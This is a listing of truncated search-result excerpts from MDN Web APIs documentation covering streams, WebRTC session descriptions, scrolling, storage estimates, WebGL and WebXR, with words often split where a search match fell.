description is the initial proposal in an offer/answer exchange. "answer", the description is the definitive choice in an offer/answer exchange. "pranswer", the description is a provisional answer and may be changed when the definitive choice will be given. "rollback", the description rolls back to offer/answer state to the last stable state. example // the remote description has been set p
reviously on pc, a rtcpeerconnection alert(pc.remotedescription.type); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcsessiondescription.type' in that specification. candidate recommendation initial specification. ...
RTCSessionDescription - Web APIs
n describes the agreed-upon configuration, and is being sent to finalize negotiation. offer the session description object describes the initial proposal in an offer/answer exchange. the session negotiation process begins with an offer being sent from the caller to the callee. pranswer the session description object describes a provisional answer; that is, a response to a p
revious offer that is not the final answer. it is usually employed by legacy hardware. rollback this special type with an empty session description is used to roll back to the p
revious stable state. methods the rtcsessiondescription doesn't inherit any methods. rtcsessiondescription() this constructor returns a new rtcsessiondescription. the parameter is a rtcsessiondescript...
ReadableByteStreamController.close() - Web APIs
syntax readablebytestreamcontroller.close(); parameters none. return value undefined. exceptions typeerror the source object is not a readablebytestreamcontroller, or the stream is not readable for some other reason. examples tbd. ...
ReadableStream.getReader() - Web APIs
r being created that can read individual chunks from a stream. return value a readablestreamdefaultreader or readablestreambyobreader object instance, depending on the mode value. exceptions rangeerror the provided mode value is not "byob" or undefined. typeerror the stream you are trying to create a reader for is not a readablestream. examples in the following simple example, a p
reviously-created custom readablestream is read using a readablestreamdefaultreader created using getreader(). (see our simple random stream example for the full code). each chunk is read sequentially and output to the ui, until the stream has finished being read, at which point we return out of the recursive function and print the entire stream to another part of the ui. function fetchstream() { ...
ReadableStreamDefaultController.close() - Web APIs
if you want to completely get rid of the stream and discard any enqueued chunks, you'd use readablestream.cancel() or readablestreamdefaultreader.cancel(). syntax readablestreamdefaultcontroller.close(); parameters none. return value undefined. exceptions typeerror the source object is not a readablestreamdefaultcontroller. ...
ReadableStreamDefaultReader.ReadableStreamDefaultReader() - Web APIs
thod. syntax var readablestreamdefaultreader = new readablestreamdefaultreader(stream); parameters stream the readablestream to be read. return value an instance of the readablestreamdefaultreader object. exceptions typeerror the supplied stream parameter is not a readablestream, or it is already locked for reading by another reader. examples in the following simple example, a p
reviously-created custom readablestream is read using a readablestreamdefaultreader created using getreader(). (see our simple random stream example for the full code). each chunk is read sequentially and output to the ui, until the stream has finished being read, at which point we return out of the recursive function and print the entire stream to another part of the ui. function fetchstream() { ...
ReadableStreamDefaultReader.cancel() - Web APIs
promise = readablestreamdefaultreader.cancel(reason); parameters reason optional a domstring providing a human-readable reason for the cancellation. return value a promise, which fulfills with the value given in the reason parameter. exceptions typeerror the source object is not a readablestreamdefaultreader, or the stream has no owner. examples in the following simple example, a p
reviously-created custom readablestream is read using a readablestreamdefaultreader created using getreader(). (this code is based on our simple random stream example). each chunk is read sequentially and output to the ui, until the stream has finished being read, at which point we return out of the recursive function and print the entire stream to another part of the ui. when the stream is done (if...
ReadableStreamDefaultReader.closed - Web APIs
the closed read-only property of the readablestreamdefaultreader interface returns a promise that fulfills if the stream becomes closed or the reader's lock is released, or rejects if the stream errors. syntax var closed = readablestreamdefaultreader.closed; value a promise. examples in this snippet, a p
reviously-created reader is queried to see if the stream has been closed. when it is closed, the promise fulfills and the message is logged to the console. reader.closed.then(() => { console.log('reader closed'); }) specifications specification status comment streamsthe definition of 'closed' in that specification. living standard initial definition. ...
ReadableStreamDefaultReader.read() - Web APIs
am becomes errored, the promise will be rejected with the relevant error. exceptions typeerror the source object is not a readablestreamdefaultreader, or the stream has no owner. examples example 1 - simple example this example shows the basic api usage, but doesn't try to deal with complications like stream chunks not ending on line boundaries for example. in this example stream is a p
reviously-created custom readablestream. it is read using a readablestreamdefaultreader created using getreader(). (see our simple random stream example for the full code). each chunk is read sequentially and output to the ui as an array of utf-8 bytes, until the stream has finished being read, at which point we return out of the recursive function and print the entire stream to another part of the u...
ReportingObserver.disconnect() - Web APIs
after calling disconnect(), neither reportingobserver.takerecords() nor the records parameter of the reportingobserver() callback will return any reports. the associated observer will no longer be active. syntax reportingobserverinstance.disconnect() examples let options = { types: ['deprecation'], buffered: true } let observer = new reportingobserver(function(reports, observer) { reportbtn.onclick = () => displayreports(reports); }, options); observer.observe() ... ...
ReportingObserver - Web APIs
the reportingobserver interface of the reporting api allows you to collect and access reports. constructor reportingobserver() creates a new reportingobserver object instance, which can be used to collect and access reports. properties this interface has no properties defined on it. methods reportingobserver.disconnect() stops a reporting observer that had p
reviously started observing from collecting reports. reportingobserver.observe() instructs a reporting observer to start collecting reports in its report queue. reportingobserver.takerecords() returns the current list of reports contained in the observer's report queue, and empties the queue. events this interface has no events that fire on it. examples in our deprecation_report.html example, we create a si...
Request.cache - Web APIs
validation to guarantee a fresh response. fetch("some.json", {cache: "no-cache"}) .then(function(response) { /* consume the response */ }); // download a resource with economics in mind! prefer a cached // albeit stale response to conserve as much bandwidth as possible. fetch("some.json", {cache: "force-cache"}) .then(function(response) { /* consume the response */ }); // naive stale-while-
revalidate client-level implementation. // prefer a cached albeit stale response; but update if it's too old. // abortcontroller and signal to allow better memory cleaning. // in reality; this would be a function that takes a path and a // reference to the controller since it would need to change the value let controller = new abortcontroller(); fetch("some.json", {cache: "only-if-cached", mode: "sam...
Resize Observer API - Web APIs
the resize observer api provides a performant mechanism by which code can monitor an element for changes to its size, with notifications being delivered to the observer each time the size changes. concepts and usage there are a whole raft of use cases for responsive design techniques (and others besides) that respond to changes in an element's size, but p
reviously their implementations have often been hacky and/or brittle. for example, media queries / window.matchmedia are great for updating layouts at specific points when the viewport changes sizes, but what if you want to change layout in response to a specific element's size changing, which isn't the outer container? to achieve this, a limited solution would be to listen to changes to a suitable event that hints at the element you are...
Response.redirected - Web APIs
instead, you should actually instead do the filtering when you call fetch(). see the example disallowing redirects, which shows this being done. ...
RsaHashedKeyGenParams - Web APIs
enerating any rsa-based key pair: that is, when the algorithm is identified as any of rsassa-pkcs1-v1_5, rsa-pss, or rsa-oaep. properties name a domstring. this should be set to rsassa-pkcs1-v1_5, rsa-pss, or rsa-oaep, depending on the algorithm you want to use. moduluslength a number. the length in bits of the rsa modulus. this should be at least 2048: see for example see nist sp 800-131a
rev. 1. some organizations are now recommending that it should be 4096. publicexponent a uint8array. the public exponent. unless you have a good reason to use something else, specify 65537 here ([0x01, 0x00, 0x01]). hash a domstring representing the name of the digest function to use. you can pass any of sha-256, sha-384, or sha-512 here. warning: although you can technically pass sha-1...
SVGGraphicsElement: cut event - Web APIs
interface clipboardevent event handler property oncut the eventʼs default action is to copy the current selection (if any) to the system clipboard and remove it from the document. a handler for this event can modify the clipboard contents by calling setdata(format, data) on the event's clipboardevent.clipboarddata property, and cancelling the default action using event.p
reventdefault(). note though that cancelling the default action will also p
revent the document from being updated. so an event handler which wants to emulate the default action for "cut" while modifying the clipboard must also manually remove the selection from the document. the handler cannot read the clipboard data. it's possible to construct and dispatch a synthetic cut event, but this will not...
SVGSVGElement - Web APIs
econds) and follow the changes with a method call similar to: unsuspendredraw(suspendhandleid) note that multiple suspendredraw() calls can be used at once, and that each such method call is treated independently of the other suspendredraw() method calls. svgsvgelement.unsuspendredraw() cancels a specified suspendredraw() by providing a unique suspend handle id that was returned by a p
revious suspendredraw() call. svgsvgelement.unsuspendredrawall() cancels all currently active suspendredraw() method calls. this method is most useful at the very end of a set of svg dom calls to ensure that all pending suspendredraw() method calls have been cancelled. svgsvgelement.forceredraw() in rendering environments supporting interactivity, forces the user agent to immediately redraw a...
Screen.unlockOrientation() - Web APIs
the screenorientation.unlock() method should be used instead. note: this method only works for installed web apps or for web pages in full-screen mode. syntax var unlocked = window.screen.unlockorientation(); return value returns true if the orientation was successfully unlocked or false if the orientation couldn't be unlocked. ...
Using the Screen Capture API - Web APIs
rtcapture() is called when the "start capture" button is clicked. async function startcapture() { logelem.innerhtml = ""; try { videoelem.srcobject = await navigator.mediadevices.getdisplaymedia(displaymediaoptions); dumpoptionsinfo(); } catch(err) { console.error("error: " + err); } } after clearing the contents of the log in order to get rid of any leftover text from the p
revious attempt to connect, startcapture() calls getdisplaymedia(), passing into it the constraints object defined by displaymediaoptions. using await, the following line of code does not get executed until after the promise returned by getdisplaymedia() resolves. upon resolution, the promise returns a mediastream, which will stream the contents of the screen, window, or other region selected by the ...
ScrollToOptions.behavior - Web APIs
top properties (i.e. the positions to scroll to along the x and y axes), and a checkbox indicating whether they want smooth scrolling enabled or not. when the form is submitted, an event handler is run that puts the entered values into a scrolltooptions dictionary, and then invokes the window.scrollto() method, passing the dictionary as a parameter: form.addeventlistener('submit', (e) => { e.p
reventdefault(); var scrolloptions = { left: leftinput.value, top: topinput.value, behavior: scrollinput.checked ? 'smooth' : 'auto' } window.scrollto(scrolloptions); }); specifications specification status comment css object model (cssom) view modulethe definition of 'behavior' in that specification. working draft ...
ScrollToOptions.left - Web APIs
top properties (i.e. the positions to scroll to along the x and y axes), and a checkbox indicating whether they want smooth scrolling enabled or not. when the form is submitted, an event handler is run that puts the entered values into a scrolltooptions dictionary, and then invokes the window.scrollto() method, passing the dictionary as a parameter: form.addeventlistener('submit', (e) => { e.p
reventdefault(); var scrolloptions = { left: leftinput.value, top: topinput.value, behavior: scrollinput.checked ? 'smooth' : 'auto' } window.scrollto(scrolloptions); }); specifications specification status comment css object model (cssom) view modulethe definition of 'left' in that specification. working draft ...
ScrollToOptions.top - Web APIs
top properties (i.e. the positions to scroll to along the x and y axes), and a checkbox indicating whether they want smooth scrolling enabled or not. when the form is submitted, an event handler is run that puts the entered values into a scrolltooptions dictionary, and then invokes the window.scrollto() method, passing the dictionary as a parameter: form.addeventlistener('submit', (e) => { e.p
reventdefault(); var scrolloptions = { left: leftinput.value, top: topinput.value, behavior: scrollinput.checked ? 'smooth' : 'auto' } window.scrollto(scrolloptions); }); specifications specification status comment css object model (cssom) view modulethe definition of 'top' in that specification. working draft ...
ScrollToOptions - Web APIs
top properties (i.e. the positions to scroll to along the x and y axes), and a checkbox indicating whether they want smooth scrolling enabled or not. when the form is submitted, an event handler is run that puts the entered values into a scrolltooptions dictionary, and then invokes the window.scrollto() method, passing the dictionary as a parameter: form.addeventlistener('submit', (e) => { e.p
reventdefault(); var scrolloptions = { left: leftinput.value, top: topinput.value, behavior: scrollinput.checked ? 'smooth' : 'auto' } window.scrollto(scrolloptions); }); specifications specification status comment css object model (cssom) view modulethe definition of 'scrolltooptions' in that specification. working draft ...
Selection.anchorNode - Web APIs
the anchor is where the user began the selection. this can be visualized by holding the shift key and pressing the arrow keys on your keyboard. the selection's anchor does not move, but the selection's focus, the other end of the selection, does move. ...
StorageEstimate.usage - Web APIs
the storageestimate dictionary's usage property is a conservative approximation of how much storage is allotted to the origin or web app that called storagemanager.estimate(); there may be more space available, but there will not be less. the value is an estimate because the user agent may use compression, duplication p
revention techniques, and other methods to improve storage efficiency. syntax usage = storageestimate.usage; value a numeric value specifying an approximation of the total amount of storage space available for use by the application. example in this example, we obtain the usage estimates and present the percentage of storage capacity currently used to the user. html content <label> you’re currently using about <output id="percent"> </output>% of your a...
StorageEstimate - Web APIs
the storageestimate dictionary is used by the storagemanager to provide estimates of the size of a site's or application's data store and how much of it is in use. the estimate() method returns an object that conforms to this dictionary when its promise resolves. these values are only estimates for several reasons, including both performance and p
reventing storage capacity data from being used for fingerprinting purposes. see the individual property pages for details. properties quota secure context a numeric value in bytes which provides a conservative approximation of the total storage the user's device or computer has available for the site origin or web app. it's possible that there's more than this amount of space available though you can't rely on that being the case. ...
StorageEvent - Web APIs
s caused by the storage clear() method. read only. newvalue domstring the new value of the key. the newvalue is null when the change has been invoked by storage clear() method or the key has been removed from the storage. read only. oldvalue domstring the original value of the key. the oldvalue is null when the key has been newly added and therefore doesn't have any p
revious value. read only. storagearea storage represents the storage object that was affected. read only. url usvstring the url of the document whose key changed. read only. methods initstorageevent() initializes the event in a manner analogous to the similarly-named initevent() method in the dom events interfaces. syntax storageevent.initstorageevent(type[,...
Storage API - Web APIs
agent determines, using whatever mechanism it chooses, the maximum amount of storage a given site can use. this maximum is the origin's quota. the amount of this space which is in use by the site is called its usage. both of these values are estimates; there are several reasons why they're not precise: user agents are encouraged to obscure the exact size of the data used by a given origin, to p
revent these values from being used for fingerprinting purposes. de-duplication, compression, and other methods to reduce the physical size of the stored data may be used. quotas are conservative estimates of the space available for the origin's use, and should be less than the available space on the device to help p
revent overruns. user agents may use any method they choose to determine the size...
Using the Storage Access API - Web APIs
n allow-scripts allow-same-origin"> ... </iframe> now on to the code executed inside the embedded document. since it does not know whether it currently has access to storage, it should first call document.hasstorageaccess(). if that call returns false, we can then call document.requeststorageaccess(), returning the result so that then we can chain it onto the p
revious promise call. in the final then, we'll have first-party storage access. document.hasstorageaccess().then(hasaccess => { if (!hasaccess) { return document.requeststorageaccess(); } }).then(_ => { // now we have first-party storage access! // let's access some items from the first-party cookie jar document.cookie = "foo=bar"; // set a cookie localstorage.setitem("...
Using writable streams - Web APIs
risking garbage being silently written to the stream (or something similarly bad). closing and aborting as mentioned above, we call the close() method when the writing is finished, which triggers the close() method specified inside the writablestream() constructor. we could also abort the stream by calling writablestreamdefaultwriter.abort(). the difference is that when close is called, any p
reviously enqueued chunks are written and finished with before the stream is closed. when abort is called, any p
reviously enqueued chunks are just thrown away immediately and then the stream is moved to an errored state. this also triggers any abort() method specified in the writablestream() constructor to be invoked. ...
Streams API - Web APIs
eaming involves breaking a resource that you want to receive over a network down into small chunks, then processing it bit by bit. this is something browsers do anyway when receiving assets to be shown on webpages — videos buffer and more is gradually available to play, and sometimes you'll see images display gradually as more is loaded. but this has never been available to javascript before. p
reviously, if we wanted to process a resource of some kind (be it a video, or a text file, etc.), we'd have to download the entire file, wait for it to be deserialized into a suitable format, then process the whole lot after it is fully received. with streams being available to javascript, this all changes — you can now start processing raw data with javascript bit by bit as soon as it is availabl...
StyleSheet.disabled - Web APIs
a style sheet may be disabled by manually setting this property to true or if it's an inactive alternative style sheet. note that disabled == false does not guarantee the style sheet is applied (it could be removed from the document, for instance). syntax bool = stylesheet.disabled example // if the stylesheet is disabled... if (stylesheet.disabled) { // ... apply styles in-line. } specification specification status comment css object model (cssom)the definition of 'stylesheet.disabled' in that specification. ...
TextDecoder.prototype.encoding - Web APIs
the legacy multi-byte chinese (traditional) encoding: 'big5'. the legacy multi-byte japanese encodings: 'euc-jp', 'iso-2022-jp', and 'shift-jis'. the legacy multi-byte korean encodings: 'euc-kr', and 'iso-2022-kr'. the legacy miscelleanous encodings: 'utf-16be', 'utf-16le', and 'x-user-defined'. a special encoding, 'replacement', which only emits an error and an eof code point. it is used to p
revent attacks that mismatch encodings between the client and server. it can happen with iso-2022-cn and iso-2022-cn-ext. syntax var b = decoder.decoding; specifications specification status comment encodingthe definition of 'textdecoder.encoding' in that specification. living standard initial definition. ...
TextEncoder.prototype.encodeInto() - Web APIs
ounding up to allocator bucket size. see the next section about c strings. no zero-termination if the input string contains the character u+0000 in the input, encodeinto() will write a 0x00 byte in the output. encodeinto() does not write a c-style 0x00 sentinel byte after the logical output. if your wasm program uses c strings, it's your responsibility to write the 0x00 sentinel and you can't p
revent your wasm program from seeing a logically truncated string if the javascript string contained u+0000. observe: var encoder = new textencoder; function encodeintowithsentinel(string, u8array, position) { var stats = encoder.encodeinto(string, position ? u8array.subarray(position|0) : u8array); if (stats.written < u8array.length) u8array[stats.written] = 0; // append null if room re...
TextRange - Web APIs
returns the parent element of the range, which is the smallest element that contains the range completely. if the selection contains more than one element, when you modify the contents of the selection, the contents will be placed in the corresponding position of the parent element instead of the child element. textrange.pastehtml() paste the html content into the given range and replace any p
revious text and html elements in the range. textrange.querycommandenabled() returns a boolean indicating whether the specified command can be executed successfully with the execcommand method in the current state of the given document. you can also see document.querycommandenabled(). textrange.querycommandstate() returns the boolean indicating the current state of the specified command. you can ...
Touch() - Web APIs
usy is rotated clockwise about its center; 0 if no value is known. the value must be greater than or equal to 0 and less than 90. if the ellipse described by radiusx and radiusy is circular, then rotationangle has no effect. the user agent may use 0 as the value in this case, or it may use any other value in the allowed range. (for example, the user agent may use the rotationangle value from the p
revious touch event, to avoid sudden changes.). "force", optional and defaulting to 0, of type float, that is the relative value of pressure applied, in the range 0 to 1, where 0 is no pressure, and 1 is the highest level of pressure the touch device is capable of sensing; 0 if no value is known. in environments where force is known, the absolute pressure represented by the force attribute, and ...
Touch.pageX - Web APIs
he unit of each coordinate is css pixels. var i; for (i=0; i < e.changedtouches.length; i++) { console.log("touchpoint[" + i + "].pagex = " + e.changedtouches[i].pagex); console.log("touchpoint[" + i + "].pagey = " + e.changedtouches[i].pagey); } }, false); specifications specification status comment touch events – level 2 draft no change from the p
revious version. touch events recommendation initial definition. ...
Touch.radiusX - Web APIs
d radiusy values and the element will then be rotated using the touch point's rotationangle. <div id="src"> ... </div> var src = document.getelementbyid("src"); src.addeventlistener('touchstart', rotate); src.addeventlistener('touchmove', rotate); src.addeventlistener('touchend', rotate); function rotate (e) { var touch = e.changedtouches.item(0); // turn off default event handling e.p
reventdefault(); // rotate element 'src'. src.style.width = touch.radiusx * 2 + 'px'; src.style.height = touch.radiusy * 2 + 'px'; src.style.transform = "rotate(" + touch.rotationangle + "deg)"; }; specifications specification status comment touch events – level 2 draft non-stable version. ...
TransformStream - Web APIs
.get(this).decoder.ignorebom} } chaining multiple readablestreams together this is a useful one, where multiple streams can be conjoined. examples include building a pwa with progressive loading and progressive streaming. let responses = [ /* conjoined response tree */ ] let {readable, writable} = new transformstream responses.reduce( (a, res, i, arr) => a.then(() => res.pipeto(writable, {p
reventclose: (i+1) !== arr.length})), promise.resolve() ) note that this is not resilient to other influences. specifications specification status comment streamsthe definition of 'transformstream' in that specification. living standard initial definition ...
URLUtilsReadOnly - Web APIs
these were then inherited by other interfaces, such as workerlocation. urlutilsreadonly has been removed from the specification, and the properties it defined are now directly part of the affected interfaces. properties this interface doesn't inherit any properties. urlutilsreadonly.href read only is a domstring containing the whole url. urlutilsreadonly.protocol read only is a domstring containing the protocol scheme of the url, including the final ':'. urlutilsreadonly.host read only is a domstring containing the host, that is the hostname, a ':', and the port of the url. ...
USB - Web APIs
usb.ondisconnect an event handler called whenever a paired device is disconnected. methods usb.getdevices() returns a promise that resolves with an array of usbdevice objects for paired attached devices. usb.requestdevice() returns a promise that resolves with an instance of usbdevice if the specified device is found. ...
User Timing API - Web APIs
sure(s) you want removed. if this method is called with no arguments, all measure type entries will be removed from the performance timeline. interoperability as shown in the performance interface's browser compatibility table, the user timing methods are broadly implemented by desktop and mobile browsers (the only exceptions are desktop safari and mobile safari, however the safari technology p
review 24 has support). to test your browser's support for this api, run the perf-api-support application. see also user timing standard; w3c editor's draft caniuse data a primer for web performance timing apis; xiaoqian wu; w3c editor's draft ...
validityState.badInput - Web APIs
html5the definition of 'validitystate.badinput' in that specification. recommendation first snapshot of html living standard containing this interface. ...
Visual Viewport API - Web APIs
make it function better. it shows a function called viewporthandler(). when called it queries the offsetleft and height properties for values it uses in a css translate() method. you invoke this function by passing it to both event calls. one thing that may not be clear in this example is the use of the pendingupdate flag and the call to requestanimationframe(). the pendingupdate flag serves to p
revent multiple invocations of the transfrom that can occur when onresize and onscroll fire at the same time. using requestanimationframe() ensures that the transform ocurrs before the next render. let pendingupdate = false; function viewporthandler(event) { if (pendingupdate) return; pendingupdate = true; requestanimationframe(() => { pendingupdate = false; var layoutviewport = docu...
WakeLock - Web APIs
the system wake lock is exposed through the global navigator.wakelock property. methods request requests a wakelocksentinel object, which returns a promise that resolves with a wakelocksentinel object. examples the following asynchronous function requests a wakelocksentinel object. the wakelock.request method is wrapped in a try...catch statement to account for if the browser refuses the request for any reason. ...
WakeLockSentinel.type - Web APIs
the read-only type property of the wakelocksentinel interface returns a string representation of the currently acquired wakelocksentinel type. syntax var type = wakelocksentinel.type; value a string representation of the currently acquired wake lock type. type read only return values are: 'screen': a screen wake lock. p
revents devices from dimming or locking the screen. examples this example shows an asynchronous function that acquires a wakelocksentinel, then logs the type to the console. const requestwakelock = async () => { wakelock = await navigator.wakelock.request('screen'); console.log(wakelock.type); // logs 'screen' }; requestwakelock(); specifications specification status comment screen wake lock apithe definition...
WakeLockSentinel - Web APIs
low on power or the user turns on a power save mode. releasing all wakelocksentinel instances of a given wake lock type will cause the underlying platform wake lock to be released. properties this interface provides the following properties. type read only returns a string representation of the currently acquired wakelocksentinel type. return values are: 'screen': a screen wake lock. p
revents devices from dimming or locking the screen. event handlers onrelease fired when the release() method is called or the wake lock is released by the user agent. methods release() releases the wakelocksentinel, returning a promise that is resolved once the sentinel has been successfully released. examples in this example we create an asynchronous function which requests a wake...
WebGL2RenderingContext.texImage3D() - Web APIs
.unsigned_byte: 8 bits per channel for gl.rgba gl.unsigned_short_5_6_5: 5 red bits, 6 green bits, 5 blue bits. gl.unsigned_short_4_4_4_4: 4 red bits, 4 green bits, 4 blue bits, 4 alpha bits. gl.unsigned_short_5_5_5_1: 5 red bits, 5 green bits, 5 blue bits, 1 alpha bit. gl.byte gl.unsigned_short gl.short gl.unsigned_int gl.int gl.half_float gl.float gl.unsigned_int_2_10_10_10_
rev gl.unsigned_int_10f_11f_11f_
rev gl.unsigned_int_5_9_9_9_
rev gl.unsigned_int_24_8 gl.float_32_unsigned_int_24_8_
rev (pixels must be null) source one of the following objects can be used as a pixel source for the texture: arraybufferview, imagebitmap, imagedata, htmlimageelement, htmlcanvaselement, htmlvideoelement. offset a glintptr byte offset into the webglbuffe...
WebGL2RenderingContext.texSubImage3D() - Web APIs
.unsigned_byte: 8 bits per channel for gl.rgba gl.unsigned_short_5_6_5: 5 red bits, 6 green bits, 5 blue bits. gl.unsigned_short_4_4_4_4: 4 red bits, 4 green bits, 4 blue bits, 4 alpha bits. gl.unsigned_short_5_5_5_1: 5 red bits, 5 green bits, 5 blue bits, 1 alpha bit. gl.byte gl.unsigned_short gl.short gl.unsigned_int gl.int gl.half_float gl.float gl.unsigned_int_2_10_10_10_
rev gl.unsigned_int_10f_11f_11f_
rev gl.unsigned_int_5_9_9_9_
rev gl.unsigned_int_24_8 gl.float_32_unsigned_int_24_8_
rev (pixels must be null) pixels one of the following objects can be used as a pixel source for the texture: arraybufferview, a uint8array must be used if type is gl.unsigned_byte. a uint16array must be used if type is either gl.unsigned_short_5_6_5, gl.unsi...
WebGLRenderingContext.detachShader() - Web APIs
syntax void gl.detachshader(program, shader); parameters program a webglprogram. shader a fragment or vertex webglshader. specifications specification status comment webgl 1.0the definition of 'detachshader' in that specification. recommendation initial definition. ...
WebGLRenderingContext.finish() - Web APIs
syntax void gl.finish(); parameters none. return value none. specifications specification status comment webgl 1.0the definition of 'finish' in that specification. recommendation initial definition. ...
WebGLRenderingContext.readPixels() - Web APIs
components are read from the color buffer. webgl2 adds gl.red gl.rg gl.red_integer gl.rg_integer gl.rgb_integer gl.rgba_integer type a glenum specifying the data type of the pixel data. possible values: gl.unsigned_byte gl.unsigned_short_5_6_5 gl.unsigned_short_4_4_4_4 gl.unsigned_short_5_5_5_1 gl.float webgl2 adds gl.byte gl.unsigned_int_2_10_10_10_
rev gl.half_float gl.short gl.unsigned_short gl.int gl.unsigned_int gl.unsigned_int_10f_11f_11f_
rev gl.unsigned_int_5_9_9_9_
rev pixels an arraybufferview object to read data into. the array type must match the type of the type parameter. uint8array for gl.unsigned_byte. uint16array for gl.unsigned_short_5_6_5, gl.unsigned_short_4_4_4_4, or gl.unsigned_short_5_5_5_1. float3...
WebGLRenderingContext.texSubImage2D() - Web APIs
e bits, 1 alpha bit. when using the oes_texture_float extension: gl.float when using the oes_texture_half_float extension: gl.half_float_oes when using a webgl 2 context, the following values are available additionally: gl.byte gl.unsigned_short gl.short gl.unsigned_int gl.int gl.half_float gl.float gl.unsigned_int_2_10_10_10_
rev gl.unsigned_int_10f_11f_11f_
rev gl.unsigned_int_5_9_9_9_
rev gl.unsigned_int_24_8 gl.float_32_unsigned_int_24_8_
rev (pixels must be null) pixels one of the following objects can be used as a pixel source for the texture: arraybufferview, a uint8array must be used if type is gl.unsigned_byte. a uint16array must be used if type is either gl.unsigned_short...
WebGLRenderingContext - Web APIs
ifies the data formats and locations of vertex attributes in a vertex attributes array. drawing buffers webglrenderingcontext.clear() clears specified buffers to preset values. webglrenderingcontext.drawarrays() renders primitives from array data. webglrenderingcontext.drawelements() renders primitives from element array data. webglrenderingcontext.finish() blocks execution until all p
reviously called commands are finished. webglrenderingcontext.flush() empties different buffer commands, causing all commands to be executed as quickly as possible. working with extensions these methods manage webgl extensions: webglrenderingcontext.getsupportedextensions() returns an array of domstring elements with all the supported webgl extensions. webglrenderingcontext.getextension() ...
Using WebGL extensions - Web APIs
aft-extensions in chromium based browsers (chrome, opera). naming conventions webgl extensions are prefixed with "angle", "oes", "ext" or "webgl". these prefixes reflect origin and intent: angle_: extensions that are written by the angle library authors. oes_ and khr_: extensions that mirror functionality from opengl es (oes) or opengl api extensions approved by the respective architecture
review boards (khronos). ovr_: extensions that optimize for virtual reality. ext_: extensions that mirror other opengl es or opengl api extensions. webgl_: extensions that are webgl-specific and intended to be compatible with multiple web browsers. it should also be used for extensions which originated with the opengl es or opengl apis, but whose behavior has been significantly altered. querying...
WebGL: 2D and 3D graphics for the web - Web APIs
data in webgl a guide to variables, buffers, and other types of data used when writing webgl code. webgl best practices tips and suggestions to help you improve the quality, performance, and reliability of your webgl content. using extensions a guide to using webgl extensions. tutorials webgl tutorial a beginner's guide to webgl core concepts. a good place to start if you don't have p
revious webgl experience. examples a basic 2d webgl animation example this example demonstrates the simple animation of a one-color shape. topics examined are adapting to aspect ratio differences, a function to build shader programs from sets of multiple shaders, and the basics of drawing in webgl. webgl by example a series of live samples with short explanations that showcase webgl concepts ...
Introduction to the Real-time Transport Protocol (RTP) - Web APIs
d mode local peer when the local user clicks the interface widget to disable hold mode, the disablehold() method is called to begin the process of restoring normal functionality. async function disablehold(micstream) { await audiotransceiver.sender.replacetrack(micstream.getaudiotracks()[0]); audiotransceiver.receiver.track.enabled = true; audiotransceiver.direction = "sendrecv"; } this
reverses the steps taken in enablehold() as follows: the audio transceiver's rtcrtpsender's track is replaced with the specified stream's first audio track. the transceiver's incoming audio track is re-enabled. the audio transceiver's direction is set to "sendrecv", indicating that it should return to both sending and receiving streamed audio, instead of only sending. just like when hold was e...
Lifetime of a WebRTC session - Web APIs
nication of arbitrary data, audio, or video—or any combination thereof—into a browser application. in this article, we'll look at the lifetime of a webrtc session, from establishing the connection all the way through closing the connection when it's no longer needed. this article doesn't get into details of the actual apis involved in establishing and handling a webrtc connection; it simply
reviews the process in general with some information about why each step is required. see signaling and video calling for an actual example with a step-by-step explanation of what the code does. this page is currently under construction, and some of the content will move to other pages as the webrtc guide material is built out. pardon our dust! establishing the connection the internet is big. re...
WebXR application life cycle - Web APIs
e returned by requestsession() resolves, use the new xrsession to manage the webxr session for the duration of the webxr experience. this will involve managing inputs, animations, and rendering. call the xrsession method requestanimationframe() to schedule the first frame render for the xr device. if your scene is complex, you should consider creating a worker—or using one that you've p
reviously created for this purpose—to perform the computations needed for each frame to be rendered. this will reduce the chance that the rendering process will noticeably stall the app. each requestanimationframe() callback should use the information provided about the objects located in the 3d world to render the frame using webgl. each time the callback is invoked, it should call requestan...
Lighting a WebXR setting - Web APIs
is universally equal all through the scene. the effect of ambient light is computed by simply multiplying the intensity of the light source by the reflectance of the surface at the pixel's location. the color and intensity of every pixel in the scene is affected exactly the same way, regardless of where it is in the scene or the direction it's facing. ambient light is commonly present simply to p
revent shadowed areas from becoming too dark, although it affects the entire scene; however, the amount of ambient light in a scene should be very low. because the bouncing and scattering of light can be expensive to compute in real time, especially if multiple light sources are involved, it's common to use ambient lighting to simulate the scattered light caused by all the other light sources in the...
WebXR performance guide - Web APIs
lity ... this section will come in part from https://github.com/immersive-web/webxr/blob/master/explainer.md#controlling-rendering-quality managing frame rate ... managing use of depth ... this section will combine information from https://github.com/immersive-web/webxr/blob/master/explainer.md#controlling-depth-precision and https://github.com/immersive-web/webxr/blob/master/explainer.md#p
reventing-the-compositor-from-using-the-depth-buffer optimizing memory use when using libraries that perform things such as matrix mathematics, you typically have a number of working variables through which various vectors, matrices, and quaternions pass over time. it makes sense, then, to have a limited set of these objects, simply replacing their contents with the new information each time you ne...
WebXR permissions and security - Web APIs
and so forth. the variety of hardware and software involved in xr brings multiple apis and technologies into play. in this guide, we'll cover how to ensure your app has the permissions it needs to provide a secure and private xr experience. introduction the webxr device api is subject to a number of permission and security controls. while not onerous, they are worth being aware of. these mostly
revolve around the fully-immersive immersive-vr session mode, but there are things to be aware of when setting up an ar session, as well. immersive presentation of vr first, any requests to activate the immersive-vr mode are rejected if the domain issuing the request does not have permission to enable an immersive session. this permission comes from the xr-spatial-tracking feature policy. once tha...
WebXR Device API - Web APIs
using an xr device such as a headset or goggles, you need to create a webxr session bound to a rendering layer that draws the scene for presentation in each of the xr device's displays so that the 3d effect can be presented to the user. this guide covers how to create and stop webxr sessions. geometry and reference spaces in webxr in this guide, the required concepts of 3d geometry are briefly
reviewed, and the fundamentals of how that geometry is represented in webxr are detailed. learn how reference spaces are used to position objects—and the viewer—and the differences among the available types of reference space, as well as their use cases. spatial tracking in webxr this guide describes how objects—including the user's body and its parts—are located in space, and how their mov...
Web Audio API best practices - Web APIs
do so thus: gainnode.gain.value = 0.5; this will set our volume to half. however, if you're using any of the audioparam's defined methods to set these values, they will take precedence over the above property setting. if for example, you want the gain value to be raised to 1 in 2 seconds time, you can do this: gainnode.gain.setvalueattime(1, audioctx.currenttime + 2); it will override the p
revious example (as it should), even if it were to come later in your code. bearing this in mind, if your website or application requires timing and scheduling, it's best to stick with the audioparam methods for setting values. if you're sure it doesn't, setting it with the value property is fine. ...
Example and tutorial: Simple synth keyboard - Web APIs
